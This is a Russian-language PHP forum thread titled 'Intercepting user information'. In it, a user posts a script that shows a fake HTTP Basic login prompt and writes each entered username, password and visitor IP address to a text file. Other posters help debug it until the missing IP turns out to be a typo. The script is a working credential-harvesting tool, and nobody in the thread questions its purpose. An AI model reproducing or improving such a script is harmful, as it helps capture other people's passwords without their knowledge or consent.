Перехват информации о пользователе

  • Автор темы Автор темы rooot
  • Дата начала Дата начала

rooot

Новичок
Перехват информации о пользователе

Нацарапал такой скрипт:
PHP:
<?php
  if (!isset($_SERVER['PHP_AUTH_USER'])) {
   header('WWW-Authenticate: Basic realm="My Realm"');
   header('HTTP/1.0 401 Unauthorized');
   echo 'Вы должны пройти авторизацию';
   exit;
  } else {
   {
$_SERVER['PHP_AUTH_USER'];
}
   {
$_SERVER['PHP_AUTH_PW'];
}
 }

$filename = 'test.txt';
$text1="Login:";
$text2="Pass:";
$text3="Computer:";
$login = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
$comp = $_SERVER['REMOTE_ADDR '];
if (is_writable($filename)) {

   if (!$handle = fopen($filename, 'a')) {
         echo "Не могу открыть файл ($filename)";
         exit;
   }

   
   if (fwrite($handle, $text1 . $login ." ". $text2 . $pass . " " . $text3 . $comp ."\r\n") === FALSE) {
       echo "Не могу произвести запись в файл ($filename)";
       exit;
   }
   
   
   fclose($handle);

} else {
   echo "Файл $filename недоступен для записи";
}

?>

откррываю test.txt там такое:
Login:username Pass:password Computer:
т.е. все есть кроме адреса машины (((
опять что то я упустил в мануале ((
to TOR но как заметил наверное уже намного лучше )))
 
нет плохо
плохо очень плохо
есть одна функция ее надо крепко выучить
phpinfo()
все чего там нету, нету и в твоем скрипте
все что есть там, в скрипте тоже присутствует
 
rooot
а почему ты проверяешь переменную путём записи её в файл?
Почему бы тебе её на экран сначала не выводить?
 
Фанат
так сначала так и было, потом стало интересно записать в файло.
neko
а как можно увидеть исходник phpinfo(), ну т.е. все запросы??
Tor
оптимизм укрепляет нервы ))
ALL
так никто и не подскажет???
 
phpinfo() пишет к нашему общему с тобой счастью имена переменных где все хранится
ты вообще того, ее пробовал или где?
 
так сначала так и было
то есть, пока выводил на экран - $comp = $_SERVER['REMOTE_ADDR ']; было, а как стал записывать - пропало?
как можно увидеть исходник phpinfo(), ну т.е. все запросы??
никаких запросов нету. она показывает переменные, которые уже есть в втоём скрипте.
так никто и не подскажет???
что тебе подсказать?
 
neko
да с нее и ташил все
$_SERVER['REMOTE_ADDR '];
откуда я мог ее найдти???
 
Фанат
нет $_SERVER['REMOTE_ADDR ']; не было
точнее сперва маневрировал с 2-мя а далее сразу записал в файл, а после захотелось и машину вписать.
 
$comp = $_SERVER['REMOTE_ADDR '];

а не лишний ли пробел в конце ADDR ? :)
 
((((((( вот епрст
вобшем ответ получил на свой вопрос, быть внимательнее
всем спасибо
 
Сверху